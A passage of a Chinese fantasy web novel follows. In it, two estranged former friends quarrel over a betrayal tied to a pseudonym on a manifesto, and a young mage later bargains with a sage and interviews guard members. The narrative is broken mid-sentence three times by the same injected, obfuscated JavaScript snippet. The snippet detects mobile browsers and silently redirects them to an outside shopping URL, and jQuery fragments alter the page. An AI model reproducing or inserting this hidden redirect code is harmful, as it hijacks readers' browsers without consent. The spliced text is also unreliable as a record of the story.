“而我只和你说过我想签字支持他们。” 迦涅眨了眨眼,像要把浮现眼前的景象驱逐出视野,嗓音有了几不可察的波动:“你确实和我说过,但我那时以为你只是在发泄同情和愤慨,我没觉得你会真的愚蠢到觉得签个名就能改变世界。” 阿洛嘴唇微张,显然要对他签名支持变革是否愚蠢做出反驳。 她冷然抬高下巴,懒得和他在这条线路上纠缠:“告密根本不是我的作风。如果那个时候我知道你做了那种事,我会立刻揪住你问清楚,我还肯定会逼着你把名字划掉。但我——” 说得太急,她喘了口气,说到高亢处有些破音:“我唯独不可能去找母亲告状!!” 迦涅越否认,阿洛脸上的失望反而越浓。他笑了一下:“我原本确实以为你做不出告密那种事。但除了你,我想不到还能是谁。” “别急着说罪疑从无,我还有决定性的证据。”说着,他手指蘸着茶水在桌上写字。水渍组成一个迦涅许久未见的排列: 阿涅特·加罗。 她的瞳仁不受控地收缩。 “还记得这个假名吗?”阿洛的声音这一刻听上去甚至是温情的, 当然记得。迦涅抿紧嘴唇。 阿洛以前经常写一些稀奇古怪的小文章四处投稿。愿意接收他稿件的大都是不入流的奇怪刊物。 因为他姑且是奥西尼家的学徒,他有一个专用来投稿的假名,甚至特意准备了详尽的人物背景和真实的住址,让人无法将性别不明的怪人加罗和流岩城联系起来。 “考虑到你们的心情,我签署宣言时特意没用真名。” 阿洛看着她,翠绿的眼睛里有平静的漩涡。 “而除了我,知道阿涅特·加罗是谁的人只有一个。” 如果将阿涅特·加罗的音节拆开,打乱重组,就能获得另外两个名字: 迦涅和阿洛。 15.探视-3 阿涅特·加罗原本就是两人一起捏造出来的身份。 那时候迦涅还盘算着,如果有朝一日,她也有需要隐姓埋名才能做的事情,就用这个名字遮掩。 那一天还没有来,阿涅特·加罗却先成了她和阿洛清算对错时的证物。 迦涅几乎要被气笑了,没多想就顺着话头反唇相讥:“我还没追究你为什么不经我同意,就用这个假名签署那种东西,你倒是先把告密的罪名推到我头上了!” 阿洛毫不示弱:“处在我的位置,你难道会有第二种结论?” 她哈了一声,绷起脸,冷声宣告: “我没有告密。也不知道你签过名。” 阿洛显然已经在心里将所有的线索分析过不知道多少遍,试图判明她是否清白无辜。他张口就是新的论据: “阿涅特·加罗的名字就在传单上,仔细看就能找到。不要用流岩城禁止传阅《十一条宣言》来搪塞,那时候学徒偷偷都在议论,你肯定见过它的某一个副本。” “我的确在母亲桌子上见过一份,但我只看了一眼。那纸正面反面全都是字迹,我怎么可能、又怎么会有闲心去分辨每一个签名!?” 迦涅越说越气急。她听着自己的解释都觉得苍白无力。 烦躁的火焰沿着血管烧到指尖,她下意识环顾四周,恨不得拿起什么东西狠狠砸碎,才好发泄找不到去处的怒火。 凭什么她得这么认真地逐条辩驳?她又不是待审的嫌疑犯! 灵光乍现,迦涅不假思索,刻薄地问:“你不会真的以为‘阿涅特·加罗’是只属于我们两个人的秘密吧?” 阿洛下意识捏紧手中的银杯,绿眼睛闪动。 他坚定、毫无疑问的态度有了一丝裂缝。 “小孩子的把戏罢了!那个时候我们自以为毫无破绽,现在回头看看,全都是无知的漏洞。 “是,当初把音节拆开的时候我特地改写过字母,让人没法一下子联想起来。但在真的有心人眼里,线索太明显了。再说了,在流岩城里,根本不存在什么只有你我知道的秘密。还是说,你觉得母亲看不透这种文字游戏?”她极尽嘲弄地笑了两声。 阿洛没说话。他失色的唇紧紧抿着,整个人竖起了无表情的防御,无法再维持高姿态。 她于是知道她成功伤害到了他。 或许也伤害到了过去那个对他们的秘密同盟深信不疑的自己。 他们断绝联系的五年在这一刻前所未有地清晰,像条奔腾的深河,咆哮着横在他们之间。对岸的魔导师阿洛、还有映在回忆水流中的她自己,全都面貌似曾相识,却也如同陌生人。 “只有贬低过去的——不,和我还是朋友时候的自己,你才能感觉良好吗?” 阿洛发问的语调十分平静,只是这平稳本身也像是一种极力压抑的伪装。 迦涅握紧双拳,强硬地维持立场:“我在陈述事实。母亲有自己的消息渠道,当时也不止一位前辈在逐个追查署名者。我们做得并不够干净,阿涅特·加罗的真实身份曝光只是时间问题。” “如果真的有古典学派的大人物知道阿涅特·加罗是谁,‘阿洛·沙亚当年在《十一条宣言》下签过名’,这件事早该传遍了。多好的反面事例,”阿洛轻声笑,“它足以证明我不懂事的时候,就早是个极端分子。” 迦涅沉默地眨动眼睫。 阿洛翘起唇角:“但是并没有,不是吗?哪怕是我晋升魔导师的时候,也没人挖出这件旧事做文章。” 迦涅在黑礁时,千塔城的重大新闻她或许会比其他人更晚知道,但绝不至于一无所知。针对新晋魔导师阿洛·沙亚的热烈议论和攻讦,确实没有提及《十一条宣言》。 “伊利斯知道那个假名,但她驱逐我之后严格守秘,从未解释过为什么和我断绝师徒关系。告密的人也没有大肆宣扬。这是个我至今没想明白的疑点。但如果是你……” 阿洛看向窗外的雨雾。 玻璃苍白的反光将他的侧颜染得有些失真,他的语气也像是沾染了水汽,潜藏在字句下的情绪变得飘忽、难以捉摸。 “或许你是无心透露的,你告诉伊利斯时也没想到会有那样的后果。” 他在为她寻找开脱的借口吗? 可她什么时候需要他开脱?!明明是他自己的选择让他在奥西尼家失去立足之地,是他头也不回地消失,五年没有任何消息。 迦涅深吸一口长气。 阿洛的目光重新落回她身上。 “如果把责任甩到我身上能让你好受一些,你大可以继续扮演受害者。但我没有做的事就是没有做。” 她直直地望着他,眼睛里像藏了雪亮的锋刃,扎人,却也直奔心脏。她据理力争……即便没有理也强词夺理的时候,都总是这个表情。 或许是伤情多少让人变得容易感伤,也可能是被突然涌现的回忆冲击,阿洛诡异地沉默,略微失焦的绿眼睛恍惚地一眨不眨。 “但你不相信我。”迦涅的嘴唇突兀地轻颤了一下,立刻倔强地抿紧。 阿洛回过神,下意识朝她迈出半步,但被她的神态堵在原地:“我——” 迦涅冷硬地抢白:“我只说最后一次,你被逐出奥西尼家和我无关,你相不相信也与我无关。对奥西尼家来说你是背叛者,这点毋庸置疑。于私你是个差劲的朋友,过去五年,我没有收到你的任何一封信,这也是事实。” 阿洛刚刚抬起的手便落回了身侧。 “在我们各自看来,彼此大概都是叛徒。但这些说实话也都不重要了。事到如今,我和你的关系不可能回到从前。” 片刻前还充斥着争执声浪的会客厅再次安静得可怕。 两个人都不说不动,死样的寂静膨胀再膨胀,逐渐填塞客房的每寸空间,空气变得稀薄,大声呼吸都困难。 一秒,两秒,初秋的远雷在远方隆隆炸开。 原来雨还在下。 迦涅找回自己的呼吸。 “除了你觉得开价太高的药水,你的其他所有医疗开支——对你来说大概不是一笔小数目,我已经全部付清。”她环视四周,故意让视线在房间角落褪色剥落的破旧墙纸上停留片刻,并且确保阿洛注意到这个细节。 “不用谢。” 语毕,她转身离开,鞋跟在外面的走廊木地板上叩得响亮。 脚步声远去了,阿洛仍在原地一动不动。 刚才的争吵又在脑海里过了一遍,他在壁炉前屏着气踱了两步,忽然追到窗边。 客房的视野本就不佳,白昼时分也只能勉强看到宅邸正前方的一部分。现在天已经彻底黑了,又下雨,他没在庭院里亮灯,近旁更是昏昏一片。 突然冒出的小小光球于是格外明显,是迦涅随身携带的飘浮魔法灯。 光球主人才露了个影子就又转身不见了。片刻后,走廊尽头的门砰地大声摔上,迦涅撑着伞重新出现。 原来刚才她气冲冲走得太急,甚至忘了拿伞。 阿洛失笑,唇角却在勾起的瞬间就压下去。他的脸色也变得异常难看。 迦涅的宝塔形雨伞是浓郁的孔雀蓝,光球飘到伞下,伞盖莹莹的像发光的海洋生物,掀开盖子往下看肯定有蜇人毒刺的那种。 她走得很快,金属栅栏门切割开宅邸内外,她没有回头。 阿洛从窗边转身,餐桌上的茶杯静静坐着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929261|134885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯口无力地升起一缕稀薄的热汽。 他这才意识到自己仍然攥着临时来替补的银杯。不仅一直没松手,他还无意识用力又用力,白银不够坚硬,杯壁外侧现在留下了四道浅却明晰的指印。 红茶还温热,但阿洛将两个杯子还有茶壶里的东西一口气倒进了废水槽。茶杯和茶壶相碰,发出一声不详的脆响,拿起来看,双方却都依旧完好无损。 阿洛脸色更僵,他拿起迦涅用过的茶杯,也不管这是家里仅存像样的那一只,抬手就要往墙上扔。 茶杯还没投掷出去,他就猛然收臂。 乍张乍收的动作拉到他肩背的伤口,迦涅在时他刻意忽略的疼痛报复性地袭来。衣服湿淋淋的,织物紧紧扒住皮肤,痛意成倍加剧。 他龇牙咧嘴地嘶了一声,习惯性地立刻收敛表情,而后才想起身边没有第二个人。 将剩余的茶具清理工作交给魔法道具完成,阿洛拉开椅子,还没落座,便踢到了迦涅留下的小皮箱。 拎起箱子把手的瞬间,把它从窗口扔出去的冲动怒意闪现而后消失。他将箱子平放到桌面,盯着它看了良久,最终呼地吐出一口气,直接抬手拨动旋钮。 箱盖啪地开启,他这才想到,失误,他忘了做防护措施。 然而即便做了也只是多此一举,这箱子没有任何恶毒的机关。 颜色各异的药剂瓶罐满满当当塞了一箱子:两种浓度的灵性药水、四种针对性略有不同的修复药水、好梦药水,还有促进外伤愈合的草药油膏和镇痛油。除此以外,箱子里还有家居常备的各种护符,驱邪之眼、织梦羽翼、清心莲花…… 这一箱子的东西远比克莱芒丝医院药物清单上的多,而且全都是千塔城信誉良好的药剂工房出品。再加上做工精良的皮箱,迦涅留下的东西如果以市价计算,足够帮阿洛负担起补贴两个队员整月开销的开支。 奥西尼家的大小姐从来不是个吝啬鬼。可原来她对‘敌人’也那么大方。 阿洛只要闭上眼,就能看见异常生动的场景:迦涅站在某家工房的货架前,不容质疑地让人往箱子里添置这个。 但他已经两次误读她的态度,她这份豪奢的礼物或许也是一种讽刺。 他通常不会因为自己金钱上相对的拮据羞耻。他没有名门豪族的家底,也从来没试图遮掩自己的出身。好在他物欲贫乏,并且自认为赚到的每一个金币都花在了该花的地方。 没有购买医院推荐的药水的理由同样简单。 他常年锻炼身体,在身体强化魔法上也有一些经验,受这点伤称不上大事,躺几天就好,为了省一点痛楚额外花钱毫无必要。 但是在迦涅面前,因为她的几句嘲讽,阿洛就罕见地为不够富有而难堪起来。 他垂眸,一个字母一个字母地抚过药剂标签,轻柔的动作像在触碰花瓣。 他可以将这个药箱卖掉,并且确保消息传到迦涅耳朵里,坐实他在她心里已经足够恶劣的坏印象。报复的幼稚念头在骚动。 但最后,阿洛轻轻阖上箱盖,转身走进套间深处。 他从床底拖出一个陈旧的皮箱,起身时他因为撕扯到伤口抽气,却恰好吸进了扬起的灰尘,顿时呛得又咳了好一阵。 箱子里东西不多,绒布裹住了一个筒状物,占据了一半空间。 另一边摆着两块学徒练习书写魔法符号的泥板,上面躺了支翠色羽毛笔,不知道是什么翼兽的羽毛制作的,十余载过去笔身依旧艳丽夺目。 泥板下压了一沓旧信件。最上面的三封并无火漆印戳,还没来得及寄出就封存箱底。 这三枚信封正面的收件人名字是同一个: 迦涅·O 16.探视-4 阿洛垂眸看着信封。 睫毛在他眼下投照出浅浅的一弯阴影,他的影子也落在信封上,遮盖左半部分,于是迦涅的名字也落入暗部,留大大的字母O沐浴在光亮中。 将彼此的名字写完整、仅保留姓氏首字母,这与玻瑞亚的通信习俗相反,是他们曾经约定的做法。阿洛记不清是谁先有的主意,但这个习惯他保留至今。 这一小小叛逆行为背后的意图洋溢着稚嫩无畏的自信,还有对彼此的信心: 出身不重要,他们可以仅仅作为阿洛和迦涅存在。 但这反叛举动原本就包含不可自洽的漏洞:越在意越想要撼动什么,反而愈发证明目标何等坚固庞大。 十几岁的少年人用眼睛、用耳朵无师自通学会世界不可言说的法则,比如名姓、血统还有传承对法师有多重要。但他们自认与众不同,理所当然应该颠覆传统、违逆常理。 于是他们想出这绝妙的主意,用张扬又隐蔽的方式宣告他们与所有人不同,每一次书写自己的、对方的名字都是一次小小的胜利反叛。 可他们眼里圆滑可憎的大人也曾经十几岁过。 他们也终于不再是十几岁。 现在的迦涅·奥西尼彻底否定曾经反叛心熊熊燃烧的自己,她变得从内到外都更像一个标准的名门继承人,她曾经不屑一顾、发誓不会成为的那一类。 可阿洛也早不是离开流岩城时的那个人,写这些信时的自己也变得遥远陌生。 但这三封信分别是什么时候写的,他倒是记得异常清楚。 离开奥西尼家不久他就给迦涅写了第一封,没有回音。他并不意外,甚至觉得自己的猜测被坐实,于是痛快打定主意,要和她就此切断联系。 但那之后,他还是一次又一次,在不同的时间点重新提笔。 可每一次具体落笔写了什么,他记不清,也不想记清楚。 阿洛拿起最上方的信封,翻转过来。没封死的三角形信封口朝他翘起,像开启的通道入口,邀请他直面过去的自己。 他的动作停住了。 迦涅谈论‘阿涅特·加罗’时嗤之以鼻的表情像一根扎进眼球深处里的刺。阿洛闭眼又睁眼,她嘲弄的笑还是在那里。 阿洛手指用力,最上端的信封顿时皱成一个纸团。他看向卧室墙角的壁炉,但那里没有生火。他烦躁地咂舌,索性吐出长串精灵语,念全他现任妖精信使的名字。 红鼻子尖耳朵的妖精凭空钻出来,向他一鞠躬,小眼睛转了转:“您要多米送信给谁?” 阿洛将纸团展平,连带着另外两封一起递过去:“没有收件人,多米,麻烦把这三封信随便处理掉,扔在人类找不到的地方就行。” 多米尖声回道:“信使不能把阿洛先生的信件扔掉!多米做不到!” “那你把这三封信送到——”阿洛卡壳了。 如果指定一个玻瑞亚的地点扔下这三封信,就无法排除它们落进其他人手里的可能性。而如果要多米把三封信送到熔炼炉之类的地方烧掉,那还不如直接自己生火处理。 说实话,他也不知道为什么非要大费周章地叫妖精信使出来,代他处理这一小叠废纸。 卧室外这时传来物品摇晃的噪音。阿洛立刻起身。 书房桌子上一面巴掌大的菱形镜子正在来回震颤,镜背撞击支架,发出拍门似的砰砰响动。 镜面映出宅邸门外的情状。一盏手提灯照出雨丝下落的细密轨迹,还有凑近了查看门环的一张娃娃脸。 是十三塔卫队的芬恩·富勒。 阿洛无奈地闭了闭眼。 “您还要送信吗?否则多米就回去了。”妖精捧着信飞到他身侧。 与此同时,芬恩还在敲门环,一边嘀咕着:“阿洛?队长?你好?你还活着吗?如果还活……呃,醒着,麻烦开一下门。” 阿洛头大地揉了揉太阳穴:“这样,多米,你把这三封信送到这座宅邸里随便哪间废弃的房间里。行吗?” “好的,阿洛先生。”多米双手抱着信,略微欠身后消失。 很好,这样他就再也不用想起信里写过什么了。也永远不会有其他人知道。阿洛轻呼一口气,拇指指腹按在镜子上端的宝石上,门环中的幻影立刻由他操控。 开口时他的语调轻松,充满笑意:“我还活着,谢谢关心。” ※ “多谢您关心,我没受伤,现在魔力也已经恢复了。” “那就好,时隔数年回到千塔城,感觉怎么样?还习惯吗?” 迦涅举起茶杯的手微微一顿。 小圆桌对侧端坐着一位气质文雅的男性。他正笑着看着迦涅,轮廓狭长的眼眸微弯。他衣着素雅,面貌端正,整个人存在感并不强烈,寒暄时也轻声细语。 单看外表,很难相信他就是在世的贤者之一、公认的最强奥术魔法师,外号‘银手’的乌里。他同时也是古典魔法学派最受尊敬的领军人物之一。 “和我记忆里没什么差别,但我的看法大概不准确。毕竟,之前我在千塔城也只待过一年半,”迦涅谨慎地回答,“但我收到了堆满门厅的慰问卡片和礼物,母亲在千塔城的朋友大概比我料想得还要多一些。” 乌里笑了笑,淡然顺势问:“你母亲最近怎么样?” 迦涅喝了口茶,杯子适时遮住她下半张脸的表情。 “我还没时间回流岩城,但据我所知,和之前没什么区别,”她的声音与双眼都平静,“这或许就是最好的消息了。” 乌里闻言默然点了点头,茶色的发丝随他的动作轻轻摇晃。 这位贤者阁下同样出身魔法名门,与迦涅母亲应当有一些交情,他不止一次向奥西尼家释放好意。三年前迦涅能进入黑礁的永夜修道院研习魔法,就多亏了乌里的引荐。 今天其实是迦涅第二次与他见面。他们的上次会面十分匆忙,甚至没机会聊正事以外的话题,比如奥西尼家数年不露面的家主如今的境况。 “对于奥西尼家的秘辛,我略知一二,虽然不过皮毛程度,但你母亲本来不应该那么早……”乌里谨慎地收声,迦涅已经听明白他真正想问的问题。 迦涅捏紧了茶杯把手。有一瞬间,她无端害怕自己会硬生生掰坏手中精美的瓷器。 她盯着乌里,没有掩饰防备和探究。而贤者阁下就任由她那么打量,直至她幅度极其微小地点了点头:“我和贾斯珀都怀疑母亲被暗算了。” 乌里的身上那一刻迸发了某种极为可怖的阴冷气势。“果然。”他轻声说。 但下一秒,又仿佛只是幻觉,他亲手拿起瓷壶为两人斟茶,又已经恢复了文雅随和的模样。 “我们等了三年,一直装作毫无怀疑。现在终于到刨根究底的时候了。”只是将这个事实说出来,迦涅的心跳就微微加快了。 有一些答案只有在千塔城才能寻得。有一些盟友也是。 “很好。”乌里的手很稳,倾注的茶柱并未因为迦涅的话偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960689|134885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移分毫。 迦涅的视线不由自主移到了这位贤者的手上。柔软的皮革手套包裹着乌里的指掌。他虽然有‘银手’这样的外号,却少有人确认过他的手指关节是否真的是白银的。 有机会看到他摘下手套的人据说都死了。 “如果有什么需要我帮忙,不要客气。”他灰色的眼睛短暂与迦涅的金瞳相对,继承奥西尼家族传承的人都有相同的瞳色,他好像恍惚了一下。 茶汤的热气千转百回地在两人之间升腾,飞快地模糊了乌里的表情。 “不止是调查你母亲的事。任何事。”他的声音有一丝几不可查的沙哑。 迦涅怔了一下。 她非常突然地想起,母亲有条旧项链,金吊坠是个可打开的精巧的奥术魔法盒。 年幼时她好奇心发作,偷偷破解了盒子机关,结果大失所望。 ——盒子里面只有一簇茶色头发, “抱歉,想到了一些陈年旧事,走神了,”乌里已经恢复正常,他朝桌子上的四层精美点心塔做了个手势,示意迦涅无需客气,“你母亲在千塔城的时候很喜欢‘飞行的擀面杖’家的点心,尤其是杏仁千层酥。” 迦涅不太吃得惯甜食,但还是礼貌地取了两种点心到描银盘子里。 银质甜点刀切开蓬松的层叠酥皮,千层酥最上层的糖霜扬起,沾到她的手指上。这些细雪般的颗粒物仿佛趁势钻到了她的皮肤下面,不自在的痒摩擦着她的每一下心跳。 和母亲的旧识谈论她出生之前发生的旧事,感觉非常奇怪。 那是伊利斯成为她母亲之前的人生,属于另一个名字熟悉的陌生人。 迦涅忽然有些害怕乌里询问母亲有没有谈起过他。她于是挑选了一个较为安全的说法:“母亲很少提及她以前在千塔城时候的事。” 乌里看起来并不惊讶。 “伊利斯放弃升格贤者,选择回流岩城履行家主职责的时候,许多人都惊讶又觉得可惜。当然,也有不少人松了口气,”他适合念诗的轻柔嗓音里比刚才多了些什么东西,“如果留在千塔城,她完全可能成为推动魔法界变革的先锋。” 他看着迦涅吃惊的表情笑了:“很难相信吗?” “很难想象……” “伊利斯喜欢魔法本身,追求法术最纯粹的形式,重视探索的过程胜过结果。但那也意味着,她并不在乎古典学派的诸多传统。我和她为此争吵过很多次。”乌里显然想起了一些具体的事例,怀念地加深了微笑,那丝笑意随即转淡,只剩下惘然。 “所以,她的学生里冒出阿洛·沙亚那样标新立异的家伙,我并不意外。” 迦涅垂眸看着餐刀闪光的刃面,眼睫微微颤动了一下。 今天她与乌里见面并非单纯拉拢关系的闲聊,他带来了十二贤者议事会对于那场决斗的态度。所以不可避免,他们会谈论到阿洛。 即便如此,乌里的下一句仍然让她忍不住抬头: “我想不明白的反而是伊利斯为什么要驱逐他。把他留在身边明明更可控。” 迦涅捏紧了小餐叉,脱口而出的问句有些发紧:“您也不知道原因?” 乌里讶异地沉默了一瞬。 她于是意识到:阿洛说的是实话—— 至今古典学派的高层都不知道他曾经在《十一条宣言》下面签字。也就是说,他确实有理由怀疑她告密。 但是她没有。 那么向母亲泄露消息的究竟是谁? 17.断点-1 “沙亚叛离的事和伊利斯状况恶化有关?”乌里灰色的眼睛变得锐利。 迦涅一怔,迅速收回发散的思绪:“两件事中间隔了几个月,应该不是诱因。” 顿了顿,她的声音低了下去:“母亲不会因为失去一个学生就会伤心到失控,她不是那样的……” 至少她所知晓的伊利斯·奥西尼绝不是那样感性又脆弱的人。 “而且阿洛·沙亚身为学徒能接触的人和东西都很有限。我和贾斯珀都认为更可能是族内人动的手脚。” 乌里探究地看了她片刻,点了点头:“伊利斯的事要慢慢来。你在千塔城站稳脚跟是当下第一要务。” “炸掉新据点的塔楼好像不是一条成功职业道路的理想开端。”迦涅自嘲。 “恰恰相反,”乌里的眼睛随笑弧微微眯起来,“之后你可以问问议事会的其他人,每个人刚在千塔城崭露头角的时候都难免闹出几条新闻。短时间内凝聚出六柄雷霆之枪……” 他顿了顿,笑意加深。 迦涅轻咳了两声。在贤者层次的法师看来,沉稳地杀死对手的其他方法数不胜数,她那日在决斗场中的行为肯定略显跳脱,有炫技的嫌疑。 “至少你证明了自己不可小觑,”乌里停顿了一下,“当然,不可避免地,那也给沙亚带来了额外的关注。” 迦涅没说话。终于进入正题了。 “千塔城最顶尖的几家防具工坊,都已经对他那天使用的手环产生了兴趣。” 她忍不住辩解:“有的传言太夸张了。在没法驾驭魔力的普通人手里,只靠储魔石驱动,那个手环不可能发挥同样的效果。” 乌里坦然道:“即便如此,如果他的这项发明能够普及,倒未必是件坏事。” 迦涅一愣。 “古典学派不可能反对所有新鲜事物,也一直在变化,只是步调在部分人眼里不够快、也不够大罢了,”乌里脸上浮现戏谑的微笑,“第一纪元的古典学派成员看到现在的我们,估计要大皱眉头。” 火炬长廊上最古老的那几幅肖像画就属于第一纪元的先贤,她想象了一下画中人横眉揪鼻子的模样,不禁笑了。 乌里喝了口茶,云淡风轻地抛出下一问:“你前两天似乎去了沙亚家一趟?” 迦涅意外地眨眨眼,却并不惊慌。 有人目击到她造访阿洛家、乃至这个消息传开都不让人意外。毕竟在那之前,她刚刚轰轰烈烈地在内城区炸毁了一座塔楼。而在千塔城,任何人都很难真正保有秘密。 于是她坦然应承:“是,那天他姑且算是救了我。我不想欠他人情,免得他日后拿恩情来勒索。他确实不和我们站在一边,但您不会因为我拜访他怪罪我吧?” 乌里笑了:“不至于。你清楚自己在做什么就好。” “对于这次的事件处置,能请您听听我的看法吗?”迦涅清声道。 乌里讶然,随和地抬手:“请。” 迦涅深吸气:“新发明展示会也好,队长副队长决斗也罢,这次的事件都属于十三塔卫队内部事务,还没有到需要议事会过问的地步。” 贤者没有表露出自己的看法,上半身微微后仰靠在了椅背上,示意她说下去。 “事件中没有人死亡,损失的财物和建筑物也都是卫队的所有物,其中不少是奥西尼家赞助,根本上属于我,也可以由我负担。而且决斗前我和他签署过有效的生死契约,决斗流程上没有违反千塔城的法规。” 乌里没有否定。 迦涅便流畅地搬出早就想好的说辞: “议事会无论怎么插手,因为古典学派在贤者塔占多数,结果都会显得在偏袒我,给有心人留下把柄。” 乌里淡然道:“对议事会认可的队长发出决斗邀请,等同质疑十二贤者议事会的决定。只是这件事就足够让他丢掉副队长这个位置。即便是我那几位立场更加‘开明’的同僚,在这件事上也没法为他辩护。” “但现在只有少数人清楚那天是一场决斗,”迦涅身体略微前情,毫不闪躲地注视乌里的双眼,“也只需要有少数人知道真相。” 乌里细细的眉毛动了动。他饶有兴致地打量她片刻,说道:“所以,你并不希望决斗的事公开。确切说,你希望议事会对这次事件不做任何干预,哪怕那会立刻帮你清除掉阿洛这个叛徒。” 稍作停顿,他突然问:“你以前和沙亚关系怎么样?” 这位贤者在担忧她是否因为过往情谊对阿洛手软。 迦涅凛然正色道:“小时候我和他有一段时间关系很好,但长大之后就逐渐疏远了。我明白您在担心什么,我只是希望凭借自己的力量解决队内问题。” 乌里闻言弯了弯眼角。 迦涅不希望他误以为她只是在意气用事,紧接着说:“如果阿洛被撤职,支持他的人会将他看作遭迫害的殉道者,他会带人建立新的卫队,行事作风还会更加激进,造成更多更大的麻烦。没有必要主动给他造势。” 乌里喝了口茶,点头认可她的说法。 “给十三塔卫队特殊津贴,让正式队员有固定薪水,这才是从内部瓦解他影响力的优良策略。” 乌里笑了:“拒绝一个提案,自己又带了一个新提案,你很会讨价还价。” 迦涅眸光闪了闪,观察着对方的表情,没有否认。 “津贴的事,我会提一句。” 她舒了口气:“谢谢您。” “都是小事,”乌里摇摇头,沉默片刻才说,“愿意凭自己的力量解决问题很好。从底下的人入手,逐步削弱阿洛的影响力,稳扎稳打,建立自己年轻法师楷模的形象,这也很好。但是——” 这位贤者沉吟片刻,含蓄地说:“如果你想要的不止是魔导师头衔,而是新一代法师领袖的身份,只是削弱他的影响力在许多人眼里,恐怕并不足够。” 迦涅心头一凛:“您的意思是……?” “他毕竟是古典学派的叛徒。让阿洛·沙亚从千塔城消失,这才是我们期望的最终结果。” ※ 两声礼貌的叩门。 “请进。”迦涅清声道。 会议室的门推开半边,娃娃脸青年探头,与迦涅对上眼神,乐呵呵笑了:“队长,早上好。” “早上好,富勒先生。”迦涅端坐在长桌后,微微颔首,示意对方入座。 “我没迟到吧?”芬恩·富勒看了眼墙上的挂钟,貌似紧张地搓了搓手,但他的肩膀和唇角弧度都舒展而放松。 “你很准时,”迦涅不打算多寒暄,“在开始面谈之前,你有什么想问的吗?” “唔,”芬恩摸了摸鼻尖,一开口就是惊人的直白,“这次面谈会决定我能不能留在卫队,我理解得对吗?” 迦涅倒是不讨厌对方的直白。 她微微笑着回答:“你可以那么理解。” 就在昨天,意外遭到摧毁的据点塔楼修复完毕,没正式成立几天就被迫暂时暂停活动的十三塔卫队时隔五日,终于恢复运转。 阿洛还在家修养,迦涅也不管他缺席,当即宣布了一个好消息: 十二贤者议事会同意承担之后三年所有正式队员的薪水。 卫队还是民间组织‘银斗篷’的时候,阿洛无疑是个爱护队员的头领,回收漂流物获得的报酬总会按照参与者的功劳分配。如果队伍里有谁需要用钱,无论数额大小,他会立刻拿自己变卖发明的钱施出援手。 但救急的接济毕竟和固定的薪水不一样。 还不等众人庆贺,好消息后跟着的坏消息就来了:所有银斗篷原成员都只是临时队员,并不是所有人都能获得正式队员的身份。 也就是说,必然有人被清退,与诱人的固定收入无缘。 队内的气氛一下子就紧张起来。 迦涅早就制定好了环环相扣的新计划。昨天宣布完薪水津贴的事,她今天一早就公布了后续面谈安排:她会按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976716|134885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照姓氏首字母顺序,一个个与队员们聊一聊。 她要赶在阿洛回来之前,将决定所有人去留的主动权抓在手里。 由于有几个队员在外搜集线索赶不回来,芬恩·富勒是今天早晨的第一位面谈对象。迦涅愿意额外分他一些耐心:“还有别的问题吗?” 娃娃脸青年仍旧是乐呵呵的样子,这次却直接扯开了话题:“啊,趁我还记得这件事,我得道谢。谢谢您送的慰问点心和亲笔信。” 迦涅愣了愣。 哦对,事情太多差点忘了,她确实给在中庭围观她和阿洛决斗的每个人都送了一份慰问品。 看热闹看得好好的,突然险些被崩塌的建筑物砸到,不管怎么想都是一场灾难,安抚一下也是应有的维|稳对策。 然而道谢完全可以在面谈结束后再谢,芬恩挑选的契机有一些微妙,像是别有意图。 迦涅不由多看了他一眼。看归看,她仍旧态度平和地说:“你不用道谢。毕竟从结果上来说,是我的术法让大家受惊了。” 说完,她就展开了一张空白羊皮纸,用动作表明正式面谈即将开始。 芬恩却还在东拉西扯地闲聊,充分展示他的联想能力:“能亲眼看见您施展那样古老强大的魔法,是我赚了才对,要受惊吓,也是被雷霆之枪对准了的阿洛惊吓。说起来,那天晚上我代表大伙去阿洛家看望,他居然不肯开门。” 迦涅眉峰略微抬起,没有阻止对方说下去,却比之前更仔细地打量起芬恩。 “他说什么出来给我开门会被雨淋湿,坚决把我关在门外,拒绝我进去探视,我只好留下大家准备的慰问礼物,然后就走了。” 阿洛穿过雨幕来到宅邸铁门另一侧的光景在眼前掠过。迦涅用力眨了一下眼,将那打湿的身影驱逐出自己的视野。 “富勒先生。”她的表情和声音都变得冷淡。 阿洛居然没让其他人进家里探视先不谈,她怀疑芬恩在拖时间。 目的不难猜,无非是已经有人联络阿洛,传达了她突击进行面试的事。阿洛没法立刻抵达,需要有人拖延时间,名单头一个的芬恩便成了敢死队先锋。 他想尽办法找话题闲聊,就是为了在救星阿洛抵达之前,让尽可能少的人单独和她面谈,避免她一边面谈一边直接开始踢人。 “我留给每个人的面谈时间有限。如果你对留在十三塔卫队没有兴趣,不妨直说。”迦涅板着脸装不快,内心却没太大情绪起伏。 